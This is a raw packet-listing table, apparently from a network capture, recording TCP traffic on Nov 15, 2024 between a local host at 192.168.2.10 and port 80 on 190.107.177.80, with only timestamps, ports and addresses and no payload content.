Nov 15, 2024 09:10:07.074908972 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074919939 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074930906 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.074953079 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.075242043 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.080579042 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080598116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080609083 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080646038 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.080725908 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080735922 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080773115 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080786943 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.080863953 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080871105 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.080879927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080899000 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080909014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080918074 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.080926895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.080948114 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.081008911 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081053019 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.081068993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081079006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081140995 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.081154108 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081176996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081206083 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081216097 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.081314087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081326008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081337929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081352949 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.081464052 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.081473112 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081496000 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081506014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081553936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081561089 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.081603050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081614971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.081640959 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.081676960 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.123569012 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.123590946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.123603106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.123672009 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.127280951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.127305031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.127322912 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.127335072 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.127372026 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.127377987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.127389908 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.127428055 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.127465010 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.127490044 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.127512932 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.127523899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.127533913 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.127569914 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.164632082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.164704084 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.164720058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.164738894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.164750099 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.164762020 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.164777040 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.164823055 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.164840937 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.164887905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.164900064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.164928913 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.164990902 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.165010929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.165035963 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.196444035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196464062 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196475029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196556091 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.196593046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196600914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196605921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196607113 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.196660995 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.196707964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196717978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196759939 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196769953 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196789026 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.196808100 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.196872950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196883917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196893930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.196934938 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.196934938 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197005033 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197026968 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197038889 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197051048 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197069883 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197104931 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197122097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197149038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197194099 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197221041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197231054 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197241068 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197331905 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197362900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197372913 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197390079 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197422981 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197453976 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197463989 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197482109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197532892 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197561026 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197570086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197606087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197670937 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197681904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197782040 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197798967 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.197849035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197859049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.197993994 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198003054 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198013067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198024988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198033094 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.198033094 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.198084116 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.198142052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198151112 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198160887 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198182106 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.198224068 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.198304892 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198344946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198359966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198395014 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.198414087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198424101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198453903 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.198493004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.198574066 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.204350948 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204364061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204374075 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204405069 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.204495907 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204507113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204519033 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204530954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204540968 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.204562902 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204574108 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204586029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204591990 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.204591990 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.204626083 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.204674006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204684019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204710007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204721928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204736948 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.204780102 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.204797983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204813004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204828978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.204864025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.204943895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.205076933 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.205087900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.205096960 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.205107927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.205117941 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.205158949 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.205158949 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.205243111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.205254078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.205291033 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.246982098 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.247000933 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.247011900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.247107029 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.250921965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.250966072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.250977993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.251008034 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.251033068 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.251044989 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.251065016 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.251111031 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.251130104 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.251177073 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.251185894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.251214027 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.287956953 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288019896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288029909 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.288039923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288095951 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.288125992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288136005 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288146019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288172007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288181067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288194895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288203955 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.288240910 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.288240910 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.288307905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288316965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288326025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288336992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288347006 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.288424969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.288455009 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328114986 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328138113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328149080 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328221083 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328282118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328291893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328301907 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328311920 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328331947 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328331947 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328356981 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328566074 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328576088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328584909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328594923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328603983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328613043 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328624010 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328641891 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328641891 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328743935 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328772068 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328782082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328793049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328811884 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328845024 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328924894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328939915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328952074 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328964949 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.328994989 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.328994989 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.329058886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329200983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329216957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329227924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329235077 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.329242945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329258919 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329268932 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329279900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329288960 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.329304934 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.329310894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329372883 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.329554081 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329564095 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329575062 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329585075 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329601049 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.329627991 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.329797029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329807997 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329817057 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329827070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329835892 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329845905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.329854965 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.329854965 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.329878092 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330127954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330137968 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330158949 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330166101 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330174923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330185890 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330199957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330207109 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330225945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330236912 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330264091 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330264091 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330437899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330447912 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330459118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330481052 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330506086 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330588102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330598116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330612898 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330621958 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330626011 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330665112 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330753088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330764055 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330894947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330909014 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330919027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330929041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330938101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330948114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330956936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.330966949 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330996037 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.330996037 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.370393038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.370407104 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.370418072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.370476961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.370488882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.370569944 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.370569944 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.374219894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.374267101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.374279022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.374296904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.374308109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.374339104 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.374339104 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.374366999 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.374383926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.374393940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.374407053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.374429941 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.411283970 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411302090 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411319971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.411360025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.411385059 CET	49705	80	192.168.2.10	190.107.177.80
